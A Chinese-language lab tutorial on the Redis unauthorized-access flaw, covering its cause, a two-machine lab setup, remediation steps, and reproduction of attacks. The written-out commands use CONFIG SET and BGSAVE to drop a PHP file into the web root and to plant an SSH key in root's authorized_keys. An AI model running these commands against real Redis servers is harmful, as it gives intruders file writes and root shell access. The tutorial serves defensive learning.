简介
Redis
匿名访问漏洞也被称为 Redis
未授权访问漏洞。是由于 Redis
服务本身的特性及其运维不当造成的
Redis数据库介绍
Redis
是一个数据库系统,其项目也在 github
上开源。 Redis
是一个高性能的 key-value
的 NOSQL
数据库系统, Redis
使用 ANSI C语言
编写、支持网络、可基于内存亦可持久化的日志型的数据库系统。
Redis的储存方式
Redis
的数据虽然被写入到内存中,但是可以被保存到硬盘里,保存的形式一般有两种: RDB
和 AOF
。 RDB
的储存形式类似于 ,MySQL
调用 msqldump
来储存数据,而 AOF
的储存形式则是把 Redis
里生成数据的过程步骤给保存到一个文件里。
漏洞原理
Redis
的默认配置文件中,会绑定 0.0.0.0:6379
,这样 Redis
会监听一切 IP
,接收一切 IP
的请求。如果没有采用添加防火墙规则等相关安全策略来屏蔽非信任来源 IP
访问的话,会使 Redis
服务暴露在公网,从而被任意用户请求来进行登录。 Redis
默认没有设置密码认证,没有进行相应的密码验证会导致任意 用户免密登录 Redis
,从而读取 Redis
的数据、篡改 Redis
的数据或者更高危的操作。
安装Redis
$ wget
$ tar -zxvf redis
$ cd redis/
$ make && make install
$ make test
配置部署
测试环境
靶机 IP
:192.168.1.10 渗透机 IP
:192.168.1.11
Redis的配置
# 配置配置文件
$ cat redis.config
daemonize yes # 以守护进程方式运行
port 6379 # 绑定本机端口
dir "."
logfile "redis-6379.log # 日志文件
protected-mode no # 关闭保护模式
# 启动Redis
$ redis-server redis-hack.conf
Redis
的 protected-mode
是 3.2
后加入的新特性,因为我这里使用的是 4.0
的版本,要复现的话要关闭。
漏洞复现过程
登录
在 192.168.1.11
主机上,因为 Redis
没有做任何安全措施,所以可以直接登录:
$ redis-cli -h 192.168.1.10 -p 6379
登录成功。
写WebShell
原理
Redis
运行时的数据都保存在内存中,如果想要备份数据,可以以 RDB
的形式保存在硬盘。
操作
192.168.1.10:6379> config set dir /var/www/html/ # 把要保存的RDB文件设置要网站根目录下、
192.168.1.10:6379> config set dbfilename hack.php # 拿Webshell
192.168.1.10:6379> set webshell "<?php phpinfo();>" # 把一个叫做webshell的key的值设置成phpinfo函数
192.168.1.10:6379> bgsave # 调用Redis的RDB保存命令
浏览器访问
192.168.1.10/redis.php
,看到 phpinfo
函数执行成功: 这就意味我们有更多的东西可以写入,包括写入
WebShell
等等。
配置免密登录
生成ssh-keygen
先在 192.168.1.11
的渗透主机上生成 ssh
的私钥与公钥:
$ ssh-keygen -t rsa
$ (echo -e "\n\n";cat id_rsa.pub; echo -e "\n\n") > hack.txt # 保存公钥到hack.txt中
$ cat hack.txt | redis-cli -h 192.168.1.10 -p 6379 -x set hack-it # 把公钥写入到redis主机
OK
再在 192.168.1.11
的渗透主机上登录 Redis
主机:
$ redis-cli -h 192.168.1.10 -p 6379
登录成后配置 RDB
的储存方式:
192.168.1.10:6379> config set dir /root/.ssh/
192.168.1.10:6379> config set dbfilename authorized_keys
192.168.1.10:6379> bgsave # fork一个子进程进行RDB的保存
然后通过
ssh
连接机器:
$ ssh -i id_rsa root@192.168.1.10
可以看到登录成功。
修复
低权限运行Redis
避免 root
用户启动 Redis
服务。而选择一些权限比较低的用户运行 Redis
。
$ groupadd -r redis && useradd -r -g redis redis
禁止命令
通过修改配置文件来禁止一些高风险的命令。
$ vim redis.conf
...
rename-command FLUSHALL ""
rename-command CONFIG ""
rename-command EVAL ""
...
添加密码认证
通过配置文件
$ vim redis.conf
requirepass PASSWORD
也可以通过 Redis
的命令行:
127.0.0.1:6379> config set requirepass PASSWORD
禁止外网访问
通过防火墙等配置来禁止外网访问。
总结
Redis
匿名访问漏洞由不安全的运维配置引起的,作为配置 Redis
的开发人员或运维人员一定要有一定的安全意识,才能更好的实现真正的安全。